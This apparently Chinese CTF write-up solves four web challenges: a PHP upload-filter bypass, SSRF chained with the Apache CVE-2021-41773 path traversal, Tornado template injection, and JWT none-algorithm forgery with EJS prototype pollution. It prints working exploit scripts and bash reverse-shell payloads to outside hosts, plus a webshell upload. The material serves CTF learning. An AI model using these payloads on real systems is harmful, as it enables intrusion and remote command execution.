赞
踩
源代码
<?php function waf($filename){ $black_list = array("ph", "htaccess", "ini"); $ext = pathinfo($filename, PATHINFO_EXTENSION); foreach ($black_list as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $content = file_get_contents($_FILES['file']['tmp_name']); if(waf($filename)){ file_put_contents($filename, $content); } else { echo "Please re-upload"; } } else{ highlight_file(__FILE__); }
简单分析一下,检查是否上传名为file的文件,然后对上传文件名url解码,然后使用 file_get_contents() 函数读取上传文件的内容。
关键点在于如何绕过waf,因为pathinfo会获取拓展名,然后黑名单检测。
这里我们的思路是利用pathinfo的特性,当传入的参数是1.php/.
时 pathinfo 获取的文件的后缀名为NULL,故可以在文件名后面添加/.来实现绕过 (记得将文件名url编码)
我们首先上传文件,我的方法是修改前端代码
<!DOCTYPE html>
<html>
<body>
<form action="http://node5.anna.nssctf.cn:28751/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
编辑html,将上述代码复制到<body>
处
即可得到上传文件功能
然后上传名为1.php的一句话木马,bp抓包修改后缀为1.php/.
(这里我再次测试1.php.
,发现上传不成功)
上传成功后,访问./1.php/
或./1.php
得到flag
考点:ssrf,Apache HTTP Server路径穿越漏洞,反弹shell
直接读取环境变量
/?url=file:///proc/1/environ
打开题目,发现存在参数url,成功读取用户信息
观察到题目为python环境,读取app.py
源码如下
from flask import Flask, request, redirect import requests, socket, struct from urllib import parse app = Flask(__name__) @app.route('/') def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): with open(url[7:], 'r') as f: return f.read() elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18:].split('/_', maxsplit=1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b'' while 1: data = s.recv(1024) if data: res += data else: break return res return '' app.run('0.0.0.0', 827)
这里url参数对应不同功能
发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,得把字符串gopher://换成mybox://。
关键代码如下
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
先发个请求包看看,请求一下不存在的PHP文件,搜集一下信息
import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
可以看到返回404,但是告诉我们服务器版本
这里存在Apache HTTP Server路径穿越漏洞(CVE-2021-41773)
修改下刚刚的exp
import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59
bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
注:Content-Length:59
可以bp抓包复制进去看看长度
上传,反弹shell成功
得到flag
考点:Tornado、ssti
打开题目,源码如下
import tornado.ioloop import tornado.web import os BASE_DIR = os.path.dirname(__file__) def waf(data): bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord(c) < 128): return False return True class IndexHandler(tornado.web.RequestHandler): def get(self): with open(__file__, 'r') as f: self.finish(f.read()) def post(self): data = self.get_argument("ssti") if waf(data): with open('1.html', 'w') as f: f.write(f""" {data} """) f.flush() self.render('1.html') else: self.finish('no no no') if __name__ == "__main__": app = tornado.web.Application([ (r"/", IndexHandler), ], compiled_template_cache=False) app.listen(827) tornado.ioloop.IOLoop.current().start()
分析一下
{{}}
进行传递变量和命令执行读取环境变量,可以通过文件包含读取
ssti={% include /proc/1/environ %} //或者是{% extends /proc/1/environ %}
利用了tornado里的变量覆盖,让_tt_utf8为eval,在渲染时时会有_tt_utf8(__tt_tmp)这样的调用
原理:可以看一下该模板的临时代码
由于这里过滤了很多关键字,我们可以用set和raw语法去构造payload
ssti={% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 <&1'")
先定义变量,然后raw只许输出,进行反弹shell
然后将反弹shell编码一下
在环境变量处得到flag
考点:JWT空算法伪造、ejs原型链污染
打开题目发现是登录框,F12发现有源码泄露
const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')
分析一下
/login
路由下先判断是否为POST请求,从请求中接收username、password和token属性并赋值,赋值sid为token值中的secretid值,判断sid是否为空或者未定义,然后将sid的值赋值给secret,接着进行jwt的认证,如果认证成功则登陆/register
路由同样先判断是否为POST请求,接收username、password参数,并且不允许注册用户名为nss,然后就是进行jwt加密/update
路由下会判断是否为nss用户,如果不是则无法对uid(也就是count)进行修改,然后存在merge函数可以原型链污染我们首先知道要用nss用户登录,但是无法注册。如果我们要直接用nss登录的话要进行jwt验证,所以我们利用空算法实现jwt伪造,从而完成登录
我们将算法设置为空,那么我们就可以实现空密钥登录
我们看向代码login的逻辑
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
//省略部分代码
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
secret的值为sid的值,而sid的值又是从token中的secretid得到,所以我们只需要让secretid为空即可,伪造脚本如下
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
secretid: [],
username: 'nss',
password: '123456'
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
我们先随便注册一个(不然登陆不成功)
将得到的token进行登录,成功跳转/home
我们知道存在ejs模板注入
payload
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1\"');var __tmp2"
}
}
注意要修改为application/json
成功反弹shell,在环境变量得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。